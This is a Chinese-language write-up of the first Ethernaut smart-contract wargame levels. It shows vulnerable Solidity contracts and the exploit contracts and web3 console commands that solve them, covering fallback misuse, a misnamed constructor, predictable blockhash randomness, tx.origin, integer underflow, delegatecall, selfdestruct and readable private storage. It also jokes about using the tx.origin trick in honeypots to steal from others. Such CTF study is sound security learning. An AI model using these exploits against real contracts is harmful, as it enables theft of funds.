智能合约 - Ethernaut Game(上)
学习一下区块链相关的知识,拿一个game练手一下。[game地址](https://ethernaut.zeppelin.solutions/)
Hello Ethernaut
1、安装以太坊的轻钱包MetaMask
关于MetaMask如何使用可以(参考这篇)[http://8btc.com/thread-76137-1-1.html]
选择ropsten test network,测试网可以免费给自己的钱,方便测试。新版本点击buy即可。
出现player的账号即可,然后创建一个
解题步骤:
await contract.info()
"You will find what you need in info1()."
await contract.info1()
"Try info2(), but with "hello" as a parameter."
await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."
await contract.infoNum()
42
await contract.info42()
"theMethodName is the name of the next method."
await contract.theMethodName()
"The method name is method7123949."
await contract.method7123949()
"If you know the password, submit it to authenticate()."
await contract.password()
"ethernaut0"
await contract.authenticate("ethernaut0")
Fallback
目标:
- 成为合约的owner
- 将余额减少为0
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
// 继承Ownable
contract Fallback is Ownable {
mapping(address => uint) public contributions;
// 初始化贡献者的值为1000ETH
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
// 将合约所属者移交给贡献最高的人,意味着你得贡献1000ETH以上才有可能成为所属者
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
// 进行转账,但是需要注意onlyOwner的修饰,表示了只能是合约所属者才能调用
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
// fallback函数,漏洞的核心地方
function() payable public {
// 判断了一下转入的钱 和 贡献者在合约中贡献的钱是否大于0
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
感觉fallback函数逻辑还是比较狗血,不过毕竟是一个game。
解题大概步骤则是先进行转账,如果转账目标是一个合约地址的话,则会尝试调用合约的fallback函数。
解题步骤:
先贡献1wei,以符合后面fallback的contributions[msg.sender]大于0条件
contract.contribute({value: 1})
给合约地址转100wei,来触发fallback函数
contract.sendTransaction({value: 100})
转出合约所有余额
contract.withdraw()
Fallout
目标和上一关一样
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
// 注意这个是Fal1out,其中的字符是1,而不是l,所以这并不是constructor,而是一个普通函数
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
与看智能合约构造函数大小写编码错误漏洞类似,由于大小写编码问题,错误的将Owned合约的构造函数Owned的首字母小写,使之成为了一个普通函数owned,任何以太坊账户均可调用该函数夺取合约的所有权。
然而这个是将Fallout写成了Fal1out,所以直接调用Fal1out函数即可
contract.Fal1out()
Coin Flip
硬币翻转游戏,需要连续猜对10次
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
// 使用block.blockhash(block.number-1)作为随机数
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
这个题目考察的是对随机数的预测,有篇文章总结的还不错。
这题就是用了block.blockhash(block.number-1)
,这个表示上一块的hash,然后去除以2^255
Exploit:
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exploit(address aimAddr) {
expFlip = CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}
先获取合约地址: contract.address
,然后再进行转账
Telephone
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
tx.origin
是一个address类型,表示交易的发送者,msg.sender
则表示为消息的发送者。在同一个合约中,他们是等价的。
pragma solidity ^0.4.18;
contract Demo {
event logData(address);
function a(){
logData(tx.origin);
logData(msg.sender);
}
}
但是在不同合约中,tx.origin
表示用户地址,msg.sender
则表示合约地址。
pragma solidity ^0.4.18;
contract Demo {
event logData(address);
function a(){
logData(tx.origin);
logData(msg.sender);
}
}
contract Demo2{
Demo demo222;
function Demo2(address aimAddr) {
demo222 = Demo(aimAddr);
}
function exp(){
demo222.a();
}
}
所以Exploit比较明显了
contract exploit {
Telephone expTelephone;
function exploit(address aimAddr){
expTelephone = Telephone(aimAddr);
}
function hack(){
expTelephone.changeOwner(tx.origin);
}
}
这个可以用在于蜜罐智能合约中,盗取那些想寻找漏洞利用的朋友。(笑脸)
Token
目标:
初始化的时候给了20个token,需要通过攻击来获取更多大量的token。
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
比较明显的require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;
,是存在整数溢出问题。因为uint是无符号数,会让其变为负数即会转换为很大的正数。
题目中初始化为20,当转21的时候则会发生下溢,导致数值变大其数值为2**256 - 1
>>> 2**256 - 1
115792089237316195423570985008687907853269984665640564039457584007913129639935L
在运算方面,可以用OpenZeppelin库来防御这种漏洞。
Delegation
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
rickgray师傅已经总结的很棒:
call类的函数是用于调用其他合约,其中的区别如下:
- call 的外部调用上下文是外部合约
- delegatecall 的外部调用上下是调用合约上下文
- callcode() 其实是 delegatecall() 之前的一个版本,两者都是将外部代码加载到当前上下文中进行执行,但是在 msg.sender 和 msg.value 的指向上却有差异。
pragma solidity ^0.4.10;
constant Bob{
uint public n;
address public sender;
function callcodeWendy(address _wendy, uint _n){
// msg.sender为Bob,合约地址
_wendy.callcode(bytes4(keccak256("setN(uint256)")), _n)
}
function delegatecallWendy(address _wendy, uint _n){
// msg.sender为调用者
_wendy.delegatecall(bytes4(keccak256("setN(uint256)")), _n);
}
}
constant Wendy{
uint public n;
address public sender;
function setN(uint _n){
n = _n;
sender = msg.sender;
}
}
回到题目来,本题用的是delegatecall
,这个洞在学Access Control - 访问控制
的时候用Remix复现过,由于不太熟悉web3,所以在这个game中倒是有点束手无策。
因为Delegate的pwn函数会将所属者改为当前调用用户,加上delegatecall的使用,即Delegation调用了pwn函数,改变了自己的owner。
复现的时候因为理解问题导致踩坑,Delegation部署的时候应该填写Delegate已部署好的地址,而不是用户账号地址,否则会导致delegatecall调用失败。
解题:
web3.sha3("pwn()");
> "0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab"
//effectively the first four bytes are: 0xdd365b8b
await contract.sendTransaction({ data:"0xdd365b8b" });
Force
目标是让合约的余额大于0
pragma solidity ^0.4.18;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
智能合约中有selfdestruct
函数,他将会销毁当前合约,并把它所有资金发送到给定的地址(强制性的)。
Exploit:
pragma solidity ^0.4.20;
contract Force {
function Force() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}
}
Vault
目标是为了解锁用户。
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
password存放于private之中,有点类似Bad Randomness - 可预测的随机处理
案例中写的随机数,也是用私有变量。但是链上数据都是公开的,可以通过查询节点上面的块数据来获取。
解题步骤:
web3.toAscii(web3.eth.getStorageAt(contract.address,1))
> "A very strong secret password :)"
contract.unlock("A very strong secret password :)")
参考文章
https://www.bubbles966.cn/blog/2018/05/05/analyse_dapp_by_ethernaut/
https://www.bubbles966.cn/blog/2018/05/07/analyse_dapp_by_ethernaut_2/